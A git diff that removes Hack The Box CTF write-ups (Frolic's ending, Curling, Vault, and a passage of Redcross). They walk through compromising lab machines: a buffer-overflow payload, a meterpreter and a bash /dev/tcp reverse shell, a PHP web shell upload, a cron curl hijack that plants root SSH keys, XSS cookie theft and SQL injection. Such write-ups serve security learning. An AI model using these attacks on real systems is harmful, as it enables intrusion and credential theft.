-```python
-from pwn import *
-
-payload = "A" * 52 + p32(0xb7e19000+0x3ac5c)
-
-print payload
-```
-
-We can run the exploit locally to generate a `payload` file which we then transfer to the target system and pipe into the target binary:
-
-```
-www-data@frolic:/dev/shm$ /home/ayush/.binary/rop $(cat payload)
-/home/ayush/.binary/rop $(cat payload)
-# cd /root
-cd /root
-# cat root.txt
-cat root.txt
-85d3fd...
-```
\ No newline at end of file
diff --git a/_posts/2019-03-30-htb-writeup-curling.md b/_posts/2019-03-30-htb-writeup-curling.md
deleted file mode 100644
index ccadc33e9a..0000000000
--- a/_posts/2019-03-30-htb-writeup-curling.md
+++ /dev/null
@@ -1,304 +0,0 @@
----
-layout: single
-title: Curling - Hack The Box
-excerpt: This is the writeup for Curling, a pretty easy box with Joomla running. We can log in after doing basic recon and some educated guessing of the password.
-date: 2019-03-30
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-curling/curling_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - joomla
- - ctf
- - cron
- - php
- - easy
----
-
-
-
-## Quick summary
-
-- The username for the Joomla site is `Floris` as indicated on the main page in one of the post
-- The password is a variant of a word on the main page: `Curling2018!`
-- On the Joomla admin page we can inject a meterpreter reverse shell in the `index.php` file of the template in-use
-- After getting a shell, we can download a password backup file, which is compressed several times, and contains the password for user `floris`
-- User `floris` controls a `input` file used by `curl` running in a root cronjob. We can change the config file so that cURL gets our SSH public key and saves it into the root ssh directory
-
-### Nmap
-
-Just a webserver running Joomla on port 80
-
-```
-root@ragingunicorn:~/hackthebox/Machines# nmap -sV -sV curling.htb
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-27 16:22 EDT
-Nmap scan report for curling.htb (10.10.10.150)
-Host is up (0.020s latency).
-Not shown: 998 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
-80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds
-```
-
-### Joomla
-
-Joomscan didn't return anything interesting but the main page has some interesting stuff:
-
-1. The site name is **Cewl Curling site!**, this is a reference to the cewl tool used to scrape websites for words which are then used to build wordlists.
-
-2. The first post reveals the username for the administrator: `Floris`
-
-3. The first post also contains something which could be used as a password: `curling2018`
-
-
-
-After trying a few variants of the password, I was able to log in as user `Floris` with the password `Curling2018!`
-
-We can now access the administrator page at [http://curling.htb/administrator/index.php](http://curling.htb/administrator/index.php)
-
-I generated a simple PHP meterpreter payload:
-
-```
-root@ragingunicorn:~/htb/curling# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=4444 > shell.php
-[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
-[-] No arch selected, selecting arch: php from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 1112 bytes
-```
-
-Then I added it to the index.php page so i could trigger it by browsing the main page:
-
-
-
-```
-msf exploit(multi/handler) > show options
-
-Module options (exploit/multi/handler):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
-
-
-Payload options (php/meterpreter/reverse_tcp):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST tun0 yes The listen address (an interface may be specified)
- LPORT 4444 yes The listen port
-
-
-Exploit target:
-
- Id Name
- -- ----
- 0 Wildcard Target
-
-
-msf exploit(multi/handler) > run
-
-[*] Started reverse TCP handler on 10.10.14.23:4444
-```
-
-Getting a shell:
-
-```
-[*] Started reverse TCP handler on 10.10.14.23:4444
-[*] Sending stage (37775 bytes) to 10.10.10.150
-[*] Meterpreter session 1 opened (10.10.14.23:4444 -> 10.10.10.150:56220) at 2018-10-27 16:33:27 -0400
-
-meterpreter > sessions 1
-[*] Session 1 is already interactive.
-meterpreter > shell
-Process 2047 created.
-Channel 0 created.
-id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-```
-
-### Escalate to user Floris
-
-User `floris` has a readable file `password_backup`
-
-```
-cd /home/floris
-ls
-admin-area
-password_backup
-user.txt
-cat password_backup
-00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
-00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
-00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
-00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
-00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
-00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
-00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
-00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
-00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
-00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
-000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
-000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
-000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
-000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
-000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
-000000f0: 819b bb48 ...H
-```
-
-This appears to be a bzip2 file but we need to put it back in binary format first, we'll use CyberChef for this:
-
-
-
-We just hit the *Save to output file* icon to download the `download.dat` file in binary format.
-
-Confirmed, this is a bzip2 file:
-
-```
-root@ragingunicorn:~/Downloads# file download.dat
-download.dat: bzip2 compressed data, block size = 900k
-```
-
-Let's decompress it...
-
-```
-root@ragingunicorn:~/Downloads# bzip2 -d download.dat
-bzip2: Can't guess original name for download.dat -- using download.dat.out
-root@ragingunicorn:~/Downloads# file download.dat.out
-download.dat.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
-```
-
-Geez, another compressed file in it!
-
-```
-root@ragingunicorn:~/Downloads# mv download.dat.out download.gz
-root@ragingunicorn:~/Downloads# gunzip download.gz
-root@ragingunicorn:~/Downloads# file download
-download: bzip2 compressed data, block size = 900k
-```
-
-Now, this is just dumb...
-
-```
-root@ragingunicorn:~/Downloads# mv download password.bz2
-root@ragingunicorn:~/Downloads# bzip2 -d password.bz2
-root@ragingunicorn:~/Downloads# file password
-password: POSIX tar archive (GNU)
-```
-
-Let's keep going.
-
-```
-root@ragingunicorn:~/Downloads# tar xvf password.tar
-password.txt
-root@ragingunicorn:~/Downloads# cat password.txt
-5d .ssh/authorized_keys
- .ssh/authorized_keys
-```
-
-In `admin-area` folder, there are two files with a timestamp that keeps refreshing every few minutes:
-
-```
-floris@curling:~/admin-area$ ls -la
-total 12
-drwxr-x--- 2 root floris 4096 May 22 19:04 .
-drwxr-xr-x 7 floris floris 4096 Oct 27 20:39 ..
--rw-rw---- 1 root floris 25 Oct 27 20:40 input
--rw-rw---- 1 root floris 0 Oct 27 20:40 report
-floris@curling:~/admin-area$ date
-Sat Oct 27 20:40:44 UTC 2018
-```
-
-There is probably a cron job running as root, let's confirm this by running a simple `ps` command in a bash loop:
-
-```
-floris@curling:~/admin-area$ while true; do ps waux | grep report | grep -v "grep --color"; done
-root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
-```
-
-As suspected, a cronjob executes curl using a `input` config file which we can write to.
-
-We will change the file to fetch our SSH public key and save it into root's authorized_keys file:
-
-```
-floris@curling:~/admin-area$ echo -ne 'output = "/root/.ssh/authorized_keys"\nurl = "http://10.10.14.23/key.txt"\n' > input
-floris@curling:~/admin-area$ cat input
-output = "/root/.ssh/authorized_keys"
-url = "http://10.10.14.23/key.txt"
-```
-
-When the cronjob runs, it fetches our public key:
-
-```
-root@ragingunicorn:~/htb/curling# python -m SimpleHTTPServer 80
-Serving HTTP on 0.0.0.0 port 80 ...
-10.10.10.150 - - [27/Oct/2018 16:52:56] "GET /key.txt HTTP/1.1" 200 -
-```
-
-We can now SSH in as root:
-
-```
-root@ragingunicorn:~# ssh root@curling.htb
-Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)
-
- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage
-
- System information as of Sat Oct 27 20:47:15 UTC 2018
-
- System load: 0.13 Processes: 181
- Usage of /: 46.3% of 9.78GB Users logged in: 1
- Memory usage: 22% IP address for ens33: 10.10.10.150
- Swap usage: 0%
-
- => There is 1 zombie process.
-
-
-0 packages can be updated.
-0 updates are security updates.
-
-Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
-
-
-Last login: Tue Sep 25 21:56:22 2018
-root@curling:~# cat root.txt
-82c198...
-```
\ No newline at end of file
diff --git a/_posts/2019-04-06-htb-writeup-vault.md b/_posts/2019-04-06-htb-writeup-vault.md
deleted file mode 100644
index fd27f1b941..0000000000
--- a/_posts/2019-04-06-htb-writeup-vault.md
+++ /dev/null
@@ -1,397 +0,0 @@
----
-layout: single
-title: Vault - Hack The Box
-excerpt: This is the writeup for Vault, a machine with pivoting across different network segments.
-date: 2019-04-06
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-vault/vault_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - linux
- - php
- - openvpn
- - firewall
- - pivoting
- - gpg
----
-
-
-
-## Quick summary
-
-- An upload page allows us to get RCE by uploading a PHP file with the `php5` file extension
-- We can find the SSH credentials in a plaintext file in Dave's directory
-- After getting a foothold on the box, we find another network segment with another machine on it
-- The machine has OpenVPN installed and already has a backdoored `ovpn` configuration file that let us get a reverse shell there
-- There's yet another network segment and host that we discover by looking at the routing table and host file
-- The next target is protected by a firewall but the firewall allows us to connect through it by changing the source port of our TCP session
-- After logging in to the last box we find a gpg encrypted file which we can decrypt on the host OS since we have the private key and the password
-
-## Detailed steps
-
-### Nmap
-
-Port 22 and 80 are open:
-
-```
-# Nmap 7.70 scan initiated Sat Nov 3 23:09:53 2018 as: nmap -F -sC -sV -oA vault 10.10.10.109
-Nmap scan report for vault.htb (10.10.10.109)
-Host is up (0.023s latency).
-Not shown: 98 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
-| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
-|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
-80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
-|_http-server-header: Apache/2.4.18 (Ubuntu)
-|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-```
-
-### Web enumeration
-
-There's not much on the main page except a mention about `Sparklays`
-
-
-
-A gobuster scan with `big.txt` in the root directory reveals nothing but if we start with `/sparklays` we find a few directories:
-
-```
-# gobuster -q -t 50 -w big.txt -u http://vault.htb -s 200,204,301,302,307
-
-# gobuster -q -t 50 -w big.txt -u http://vault.htb/sparklays -s 200,204,301,302,307
-/design (Status: 301)
-
-# gobuster -q -t 50 -w big.txt -u http://vault.htb/sparklays/design -s 200,204,301,302,307
-/uploads (Status: 301)
-```
-
-Further scanning with `raft-small-words` and `.html` extension reveals `design.html`:
-
-```
-# gobuster -q -t 50 -w raft-small-words.txt -u http://vault.htb/sparklays/design -x php,html -s 200,204,301,302,307
-/uploads (Status: 301)
-/design.html (Status: 200)
-```
-
-
-
-The link goes to an upload page. Upload pages are interesting because if we can upload a PHP file then we can get RCE on the target machine.
-
-
-
-I used a simple PHP command shell:
-
-```php
-
-
-
-```
-
-When we try to upload a simple PHP command shell we get a `sorry that file type is not allowed` error message.
-
-After trying a few different file types, I noticed we can use the `.php5` file extension and we get a `The file was uploaded successfully` message.
-
-We now have RCE:
-
-
-
-Found a couple of interesting files in Dave's desktop folder:
-
-**http://vault.htb/sparklays/design/uploads/shell.php5?cmd=ls%20-l%20/home/dave/Desktop**
-```
-total 12
--rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
--rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
--rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh
-```
-
-The `ssh` file contains plaintext credentials:
-
-**http://vault.htb/sparklays/design/uploads/shell.php5?cmd=cat%20/home/dave/Desktop/ssh**
-```
-dave
-Dav3therav3123
-```
-
-### Shell access
-
-Using the SSH credentials we found in Dave's directory we can now log in:
-
-```
-root@ragingunicorn:~/hackthebox/Machines/Vault# ssh dave@10.10.10.109
-dave@10.10.10.109's password:
-
-Last login: Sat Nov 3 19:59:05 2018 from 10.10.15.233
-dave@ubuntu:~$
-```
-
-The `~/Desktop` directory contains a couple of interesting files:
-
-```
-dave@ubuntu:~/Desktop$ ls -l
-total 12
--rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
--rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
--rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh
-
-dave@ubuntu:~/Desktop$ cat key
-itscominghome
-
-dave@ubuntu:~/Desktop$ cat Servers
-DNS + Configurator - 192.168.122.4
-Firewall - 192.168.122.5
-The Vault - x
-
-dave@ubuntu:~/Desktop$ cat ssh
-dave
-Dav3therav3123
-```
-
-The user also has a gpg keyring:
-
-```
-dave@ubuntu:~/.gnupg$ ls -l
-total 28
-drwx------ 2 dave dave 4096 Jul 17 2018 private-keys-v1.d
--rw------- 1 dave dave 2205 Jul 24 2018 pubring.gpg
--rw------- 1 dave dave 2205 Jul 24 2018 pubring.gpg~
--rw------- 1 dave dave 600 Sep 3 2018 random_seed
--rw------- 1 dave dave 4879 Jul 24 2018 secring.gpg
--rw------- 1 dave dave 1280 Jul 24 2018 trustdb.gpg
-```
-
-Based on the `Servers` file it seems there are other VMs or containers running. We can confirm this also by checking the network interfaces (there's a virtual bridge interface with the same subnet mentionned in the `Server` file:
-
-```
-dave@ubuntu:~/Desktop$ ifconfig
-ens33 Link encap:Ethernet HWaddr 00:50:56:b2:8d:92
- inet addr:10.10.10.109 Bcast:10.10.10.255 Mask:255.255.255.0
- inet6 addr: fe80::250:56ff:feb2:8d92/64 Scope:Link
- inet6 addr: dead:beef::250:56ff:feb2:8d92/64 Scope:Global
- UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
- RX packets:484701 errors:0 dropped:0 overruns:0 frame:0
- TX packets:372962 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:1000
- RX bytes:61423226 (61.4 MB) TX bytes:123066398 (123.0 MB)
-
-virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49
- inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
- UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
- RX packets:34 errors:0 dropped:0 overruns:0 frame:0
- TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:1000
- RX bytes:2296 (2.2 KB) TX bytes:731 (731.0 B)
-```
-
-We can do a poor man's port scan using netcat and find the host `192.168.122.4` with two ports open:
-
-```
-dave@ubuntu:~/Desktop$ nc -nv 192.168.122.4 -z 1-1000 2>&1 | grep -v failed
-Connection to 192.168.122.4 22 port [tcp/*] succeeded!
-Connection to 192.168.122.4 80 port [tcp/*] succeeded!
-```
-
-We'll setup SSH port forwarding so we can get to the 2nd host:
-
-```
-root@ragingunicorn:~/hackthebox/Machines/Vault# ssh dave@10.10.10.109 -L 80:192.168.122.4:80
-```
-
-
-
-`dns-config.php` is an invalid link (404).
-
-The 2nd link brings us to a VPN configuration page where we can update an ovpn file.
-
-
-
-With gobuster, we find additional information in `/notes`:
-
-```
-# gobuster -q -t 50 -w big.txt -u http://127.0.0.1 -s 200,204,301,302,307
-/notes (Status: 200)
-```
-
-
-
-We can grab `http://127.0.0.1/123.ovpn`:
-
-```
-remote 192.168.122.1
-dev tun
-nobind
-script-security 2
-up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/2323 0>&1'"
-```
-
-And `http://127.0.0.1/script.sh`:
-
-```
-#!/bin/bash
-sudo openvpn 123.ovpn
-```
-
-So it seems that the `123.ovpn` file contains a reverse shell payload.
-
-We can just spawn a netcat on the box and trigger the `Test VPN` function to get a shell:
-
-```
-dave@ubuntu:~$ nc -lvnp 2323
-Listening on [0.0.0.0] (family 0, port 2323)
-Connection from [192.168.122.4] port 2323 [tcp/*] accepted (family 2, sport 60596)
-bash: cannot set terminal process group (1131): Inappropriate ioctl for device
-bash: no job control in this shell
-root@DNS:/var/www/html# id;hostname
-id;hostname
-uid=0(root) gid=0(root) groups=0(root)
-DNS
-root@DNS:/var/www/html#
-```
-
-User flag found in Dave's directory:
-
-```
-root@DNS:/home/dave# cat user.txt
-cat user.txt
-a4947...
-```
-
-There's also SSH credentials in there:
-
-```
-root@DNS:/home/dave# cat ssh
-cat ssh
-dave
-dav3gerous567
-```
-
-### Priv Esc
-
-In the web directories, there's a file that reveals two additional network segments:
-- 192.168.1.0/24
-- 192.168.5.0/24
-
-```
-root@DNS:/var/www/DNS# ls -la
-total 20
-drwxrwxr-x 3 root root 4096 Jul 17 12:46 .
-drwxr-xr-x 4 root root 4096 Jul 17 12:47 ..
-drwxrwxr-x 2 root root 4096 Jul 17 10:34 desktop
--rw-rw-r-- 1 root root 214 Jul 17 10:37 interfaces
--rw-rw-r-- 1 root root 27 Jul 17 10:35 visudo
-
-root@DNS:/var/www/DNS# cat visudo
-www-data ALL=NOPASSWD: ALL
-
-root@DNS:/var/www/DNS# cat interfaces
-auto ens3
-iface ens3 inet static
-address 192.168.122.4
-netmask 255.255.255.0
-up route add -net 192.168.5.0 netmask 255.255.255.0 gw 192.168.122.5
-up route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.28
-```
-
-There's a route in the routing table pointing to the firewall:
-
-```
-dave@DNS:~$ netstat -rn
-Kernel IP routing table
-Destination Gateway Genmask Flags MSS Window irtt Iface
-192.168.5.0 192.168.122.5 255.255.255.0 UG 0 0 0 ens3
-192.168.122.0 0.0.0.0 255.255.255.0 U 0 0 0 ens3
-```
-
-In the host file we can also find a reference to our next target: 192.168.5.2
-
-```
-root@DNS:/home/dave# cat /etc/hosts
-cat /etc/hosts
-127.0.0.1 localhost
-127.0.1.1 DNS
-192.168.5.2 Vault
-```
-
-So, we the network topology looks like this:
-
-
-
-This network is protected by a firewall, as shown earlier in the `Servers` file we found. Nmap is already installed on the DNS VM so we can use it to scan `192.168.5.2`.
-
-```
-root@DNS:~# nmap -P0 -p 1-10000 -T5 192.168.5.2
-
-Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-04 03:56 GMT
-mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
-Nmap scan report for Vault (192.168.5.2)
-Host is up (0.0019s latency).
-Not shown: 9998 filtered ports
-PORT STATE SERVICE
-53/tcp closed domain
-4444/tcp closed krb524
-
-Nmap done: 1 IP address (1 host up) scanned in 243.36 seconds
-```
-
-By using the 4444 as a source port we can bypass the firewall and find another open port:
-
-```
-root@DNS:~# nmap -g 4444 -sS -P0 -p 1-1000 192.168.5.2
-
-Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-04 04:16 GMT
-mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
-Nmap scan report for Vault (192.168.5.2)
-Host is up (0.0023s latency).
-Not shown: 999 closed ports
-PORT STATE SERVICE
-987/tcp open unknown
-
-Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds
-```
-
-We'll need to SSH in by changing the source port of the TCP socket. To do that we can spawn a ncat listener that redirects to port 987 while changing the source port. Then we just SSH to ourselves on the ncat listening port.
-
-```
-root@DNS:~# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444"
-```
-
-```
-root@DNS:~# ssh -p 2222 dave@127.0.0.1 (password = dav3gerous567)
-
-Last login: Mon Sep 3 16:48:00 2018
-dave@vault:~$ id
-uid=1001(dave) gid=1001(dave) groups=1001(dave)
-
-vault:~$ ls
-root.txt.gpg
-```
-
-The only thing interesting is the `root.txt.gpg`
-
-We can download this back to the host OS and decrypt it with the `itscominghome` key we found earlier:
-
-```
-root@DNS:/var/www/html# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444"
-
-dave@ubuntu:~$ scp -P 2222 dave@192.168.122.4:~/root.txt.gpg .
-dave@192.168.122.4's password:
-root.txt.gpg 100% 629 0.6KB/s 00:00
-```
-
-```
-dave@ubuntu:~$ gpg -d root.txt.gpg
-
-You need a passphrase to unlock the secret key for
-user: "david "
-4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)
-
-gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
- "david "
-ca468...
-```
\ No newline at end of file
diff --git a/_posts/2019-04-13-htb-writeup-redcross.md b/_posts/2019-04-13-htb-writeup-redcross.md
deleted file mode 100644
index a814760616..0000000000
--- a/_posts/2019-04-13-htb-writeup-redcross.md
+++ /dev/null
@@ -1,647 +0,0 @@
----
-layout: single
-title: Redcross - Hack The Box
-excerpt: "Redcross has a bit of everything: Cross-Site Scripting, a little bit of SQL injection, reviewing C source code to find a command injection vulnerability, light exploit modification and enumeration."
-date: 2019-04-13
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-redcross/redcross_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - linux
- - xss
- - sqli
- - command injection
- - pgsql
- - cve
- - nss
----
-
-
-
-Redcross has a bit of everything: Cross-Site Scripting, a little bit of SQL injection, reviewing C source code to find a command injection vulnerability, light exploit modification and enumeration.
-
-## Quick summary
-
-- XSS on contact form to get admin cookie
-- SQLi to get user creds (rabbit hole, credentials are not useful)
-- Find admin.redcross.htb sub-domain page
-- Log in to admin page using admin session cookie we stole with XSS
-- Create a shell account, log in to restricted shell, get source code of binary
-- Command injection in firewall control module, get reverse shell as www-data
-- Locate Haraka installation, use and modify exploit from exploit-db, gain shell as user penelope
-- Get DB connection string from /etc/nss-pgsql.conf, create new user with GID 0
-- Read /etc/nss-pgsql-root.conf, locate new DB connection string
-- Create new user user with UID and GID 0, su to new user and gain root access
-
-## Tools/Exploits/CVEs used
-
-- [Haraka < 2.8.9 - Remote Command Execution](https://www.exploit-db.com/exploits/41162/)
-
-### Portscan
-
-Only SSH and web ports are open:
-
-```
-root@ragingunicorn:~# nmap -F 10.10.10.113
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 14:19 EST
-Nmap scan report for 10.10.10.113
-Host is up (0.019s latency).
-Not shown: 97 filtered ports
-PORT STATE SERVICE
-22/tcp open ssh
-80/tcp open http
-443/tcp open https
-```
-
-### Intra webpage
-
-[http://redcross.htb](http://redcross.htb) redirects to [https://intra.redcross.htb/?page=login](https://intra.redcross.htb/?page=login) so we need to add that to our local hostfile.
-
-The main page contains a simple login form:
-
-
-
-At first glance, the login form doesn't appear to be vulnerable to SQL injections but after trying a few user/password combinations, we are able to log in with the `guest/guest` credentials and we see the following message:
-
-
-
-So we know there's at least two users: `admin` and `guest`.
-
-Because this is a messaging application, we can assume that admin will be checking messages periodically so we will try to get the admin session cookie with an XSS. Back on the main page, there is a contact form we can use to send messages to the administrator.
-
-
-
-The first two fields `subject` and `body` don't appear to be vulnerable to XSS because the input is filtered. We get the following error message when we try to inject stuff like ``
-
-After a minute or so, we can see an incoming HTTP request made to our webserver, containg the admin session cookie:
-
-```
-root@ragingunicorn:~# python -m SimpleHTTPServer 80
-Serving HTTP on 0.0.0.0 port 80 ...
-10.10.10.113 - - [11/Nov/2018 12:00:47] code 404, message File not found
-10.10.10.113 - - [11/Nov/2018 12:00:47] "GET /q?=PHPSESSID=8e2u3570ceoa9vk2vofvgnibv3;%20LANG=EN_US;%20SINCE=1541955270;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -
-```
-
-Using Firefox's web developer tools, we can simply change the cookies and add all four values into our session, then hit refresh on the main page to log in as admin.
-
-
-
-### SQL injection on the web messaging app
-
-Based on the messages we see, we find the following users created in the database/system:
-- admin
-- penelope
-- charles
-- guest
-
-Two parameters are vulnerable to SQL injections:
-
-1. `o` parameter in `GET /?o=2&page=app`
-
-Example:
-
-```
-GET /?o=2'&page=app HTTP/1.1
-
-DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1' or dest like '2'') LIMIT 10' at line 1
-```
-
-2. `LIMIT` cookie in `GET /?o=2&page=app`
-
-Example:
-
-```
-Cookie: domain=admin; lang=EN_US; PHPSESSID=8e2u3570ceoa9vk2vofvgnibv3; LIMIT=10'
-
-DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
-```
-
-Our best bet is to try to exploit the `o` parameter as exploiting the `LIMIT` cookie will be more difficult since we can't do `UNION SELECT` after a `LIMIT` statement. We might be able to do something with `PROCEDURE ANALYSE` but since the box is rated medium/hard, I didn't think this was going to be it.
-
-The first thing we notice with sqlmap is it kills the webserver pretty quickly, so I assumed there is some kind of WAF rate-limiting the connections to the server. If we wait a bit, we are able to access the server again.
-
-To use sqlmap, we will need to change the `delay` parameter to 1 second. It takes a long time but sqlmap eventually find the injection point:
-
-```
-root@ragingunicorn:~# sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1 --technique=UE
-...
-[13:00:14] [INFO] parsing HTTP request from 'login.req'
-[13:00:14] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02' from file '/usr/share/sqlmap/txt/user-agents.txt'
-[13:00:14] [INFO] testing connection to the target URL
-sqlmap got a 301 redirect to 'https://intra.redcross.htb/?o=2&page=app'. Do you want to follow? [Y/n] y
-[13:00:17] [INFO] heuristic (basic) test shows that GET parameter 'o' might be injectable (possible DBMS: 'MySQL')
-[13:00:18] [INFO] heuristic (XSS) test shows that GET parameter 'o' might be vulnerable to cross-site scripting (XSS) attacks
-[13:00:18] [INFO] testing for SQL injection on GET parameter 'o'
-for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) value? [Y/n]
-[13:00:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
-[13:00:20] [WARNING] reflective value(s) found and filtering out
-[13:01:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
-[13:02:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
-[13:03:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
-[13:04:08] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
-[13:05:04] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
-[13:06:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
-[13:06:20] [INFO] GET parameter 'o' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
-[13:06:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
-[13:06:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
-[13:06:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
-[13:06:42] [INFO] target URL appears to be UNION injectable with 4 columns
-injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
-[14:12:39] [INFO] testing 'MySQL UNION query (63) - 21 to 40 columns'
-[14:13:03] [INFO] testing 'MySQL UNION query (63) - 41 to 60 columns'
-[14:13:28] [INFO] testing 'MySQL UNION query (63) - 61 to 80 columns'
-[14:13:53] [INFO] testing 'MySQL UNION query (63) - 81 to 100 columns'
-[14:14:19] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
